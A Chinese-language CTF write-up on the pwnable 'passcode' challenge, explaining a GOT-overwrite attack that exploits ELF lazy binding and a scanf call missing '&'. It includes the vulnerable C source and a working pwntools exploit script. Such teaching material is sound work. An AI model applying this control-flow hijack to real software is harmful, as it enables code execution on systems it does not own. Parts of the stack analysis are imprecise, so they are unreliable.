延迟绑定技术的利用

以pwnable中passcode为例


0x00 前言

前一段时间写了一篇延迟绑定相关的文章,苦于只理解原理,不知道如何利用,所以写的东西有点生涩却又没有实例来佐证演示。现在能够理解passcode的门道,就写一篇文章来讲解一下延迟绑定的利用。

0x01 关于题目的源码

源码如下:

 #include <stdio.h>
 #include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
    }
    else{
            printf("Login Failed!\n");
            exit(0);
    }
 }

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
  }

 int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
  }

0x02 分析

先来分析一下溢出点在哪,发现在welcome()函数和login()函数的里面的scanf()函数都没有在第二个参数前加上取地址符&,这样导致程序会把输入的数据当成地址指针来处理,然后将读入的数据放到这个指针对应的地址上,这就是一个可以利用的地方。

我们先是选择用GDB这个工具来调试一下程序,发现在程序中main()函数中的welcome()函数和login()函数的esp指针都相同,这就说明其他们是在一个栈帧中运行的并没有分开运行(但是感觉他们又是只在同一个栈中而不是在同一个栈帧中,后续解决),这要的话他们的ebp应该就是相同的。

接着调试我们还是会发现因为这两个函数的ebp相同,所以这两个函数中的三个变量name(address=ebp-0x70)、passcode1(address=ebp-0x10)和passcode2(address=ebp-0xC)的相对地址是固定的,其中name和passcode1之间的距离是96个字节,但是程序给name初始化的数组大小是100个字节大小,因此我们可以通过name数组来操控passcode1的初始值。

上面说的scanf()函数的利用,下面展开讲解,先是反编译一下login()函数,如下图,发现在call这个函数之前会先压栈两个参数;

分别是先将ebp-0x10地址处的数据存放到esp+0x4处作为scanf()函数的第二个参数:地址表项

再将第一个参数,也就是输入的格式化字符串

既然这样,那借助scanf()函数和name数组,可以达到修改任意地址上数据的目的。

0x03 具体利用

经过上面的分析,已经知道的是有scanf()函数可以利用,然后就是因为welcome()函数和login()函数ebp相同,于是name数组也可以得出溢出长度。找到了溢出点,也得出了溢出长度,还有就剩下返回地址。
从程序的正常逻辑来看,只要使得passcode1=0x000528E6且passcode2=0x00CC07C9,这样就能运行system()函数,从而得到flag,但是发现并不能同时控制两个passcode。因此只能另辟蹊径,这里可以利用ELF的延迟绑定来实现我们的目的(延迟绑定的具体实现前参阅笔者前一篇文章)。

从上面的分析得出,我们利用scanf()函数和name数组可以修改任意地址上的数据,那么为什么不利用这两个条件去修改使得程序之间跳转去执行system()函数呢?有想法,就要做出具体的措施,我们利用延迟绑定的特点,修改某个函数在.got.plt表中的地址,这样就可以达到目的。

知道生面这些原理,接着就将这些东西都落实。这里我们选择利用printf()函数,所以我们可以使用objdump命令去获取该函数在.got.plt表中的数据,如下:

有了printf()函数的.got.plt表地址,还需要的就是system()函数的地址,这一题比较简单,直接就将system函数的地址泄露出来,这样也就不需要我们再去费心构建,可以直接反编译login()函数就可以得到,如下:

这样经过这些工作,我们需要的就都齐全了,接着就是构建exp:

from pwn import *
elf = ELF("passcode")
r = remote("127.0.0.1","12345")
#r = process("./passcode")

printfGotAddr = elf.got["printf"]
systemAddr = 134514147

print "the printfGotAddr is "+ hex(printfGotAddr)
print "the systemAddr is "+ hex(systemAddr)

payload1 = 'a' * 96 + p32(printfGotAddr)
payload2 = str(systemAddr)
r.sendline(payload1)
r.sendline(payload2)

print r.recv()

运行即可得到flag。

0x04 小结

下面简单梳理一下整个过程:

按照程序的流程,先是在welcome()函数中输入100个字节大小的字符,但是从第九十七位起的末尾四位可以覆盖到passcode1的地址上去,而这个passcode1地址上存储的是下面一个scanf()函数的第二个参数地址表项,同时该参数前没有取地址符,因而可以通过这四个字节的字符去控制scanf()函数执行到目标地址,接着是scanf()函数的第一个参数也就是需要写入的数据,这里用system()函数的地址来替代,这样就能达到将printf()函数的.got.plt表中的地址替换成system()函数的地址,这样在下面再次调用printf()函数的时候,实际调用的就是system()函数,进而就达到目的了。